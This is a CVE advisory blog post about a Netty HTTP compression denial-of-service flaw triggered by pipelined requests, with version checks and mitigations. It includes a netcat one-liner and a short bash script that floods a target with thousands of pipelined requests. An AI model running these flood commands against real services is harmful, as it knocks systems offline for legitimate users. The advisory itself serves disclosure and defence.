Listen to this Post
How CVE-2026-59899 Works
Netty is an asynchronous, event-driven network application framework widely used in high-performance Java applications. The vulnerability resides in the `HttpContentEncoder` class, the superclass of the production handler HttpContentCompressor. This class is responsible for handling HTTP content encoding, including compression.
The flaw lies in the acceptEncodingQueue, a per-channel `ArrayDeque
An attacker can exploit this by leveraging HTTP/1.1 pipelining, a feature that allows multiple requests to be sent over a single connection without waiting for responses. By flooding the connection with pipelined requests faster than the application can produce responses, the attacker causes the `acceptEncodingQueue` to accumulate data without bound. Each request adds attacker-controlled data to the queue, and because the queue is never drained until a response is written, memory consumption grows linearly with the number of pipelined requests.
This uncontrolled resource consumption eventually leads to memory exhaustion, causing a denial of service (DoS) condition. The vulnerability is particularly dangerous in high-throughput environments where connection reuse and pipelining are common. It is classified as CWE-770: Allocation of Resources Without Limits or Throttling. The issue has been fixed in Netty versions 4.1.136.Final and 4.2.16.Final by introducing proper size limits to the queue.
DailyCVE Form:
Platform: Netty
Version: <4.1.136.Final, <4.2.16.Final
Vulnerability: Unbounded Queue Growth
Severity: MEDIUM (CVSS 6.9)
date: 2026-07-29
Prediction: 2026-08-15
What Undercode Say:
Analytics show this vulnerability affects all Netty-based applications using HTTP compression. The attack vector is trivial to exploit remotely.
Check Netty version in your project mvn dependency:tree | grep netty-codec-http For Gradle projects gradle dependencies | grep netty-codec-http Check if vulnerable version is used Vulnerable: io.netty:netty-codec-http versions < 4.1.136.Final or < 4.2.16.Final
Simulate the attack using curl with HTTP/1.1 pipelining This sends multiple pipelined requests to exhaust memory (echo -en "GET / HTTP/1.1\r\nHost: target\r\nAccept-Encoding: gzip\r\n\r\n"; sleep 0.1) | nc target.com 80
Monitor memory usage of the Netty process
watch -n 1 'ps aux | grep netty | grep -v grep | awk "{print \$2, \$4, \$6}"'
Exploit:
An attacker can exploit CVE-2026-59899 by opening a single HTTP/1.1 connection and sending a large number of pipelined requests with crafted `Accept-Encoding` headers. Each request adds an entry to the `acceptEncodingQueue` without any size limit. The queue is only drained when the application writes a non-1xx response. By sending requests faster than responses are produced, the attacker causes unbounded memory growth, leading to heap exhaustion and denial of service.
Exploit script using netcat to flood a connection with pipelined requests This sends 10,000 pipelined requests over a single connection !/bin/bash HOST="target.com" PORT=80 REQUESTS=10000 for i in $(seq 1 $REQUESTS); do echo -en "GET / HTTP/1.1\r\nHost: $HOST\r\nAccept-Encoding: gzip, deflate, br\r\n\r\n" done | nc $HOST $PORT
Protection:
- Upgrade Netty to versions 4.1.136.Final or 4.2.16.Final or later.
- Implement connection-level rate limiting to restrict the number of requests per connection.
- Deploy request queuing mechanisms with bounded sizes to prevent unbounded accumulation.
- Monitor memory usage and set alerts for unusual consumption patterns.
- Use IDS/IPS signatures that detect HTTP pipelining abuse patterns.
- Implement circuit breaker patterns to prevent cascading failures during resource exhaustion.
Impact:
Successful exploitation leads to resource exhaustion and denial of service (DoS). The attacker can cause the Netty application to consume all available heap memory, making the service unresponsive to legitimate users. New connections cannot be established, and existing connections may be disrupted. This vulnerability affects any application using Netty’s HTTP compression features and is particularly severe in high-throughput environments where connection reuse and pipelining are common. No confidentiality or integrity impact is associated with this CVE.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
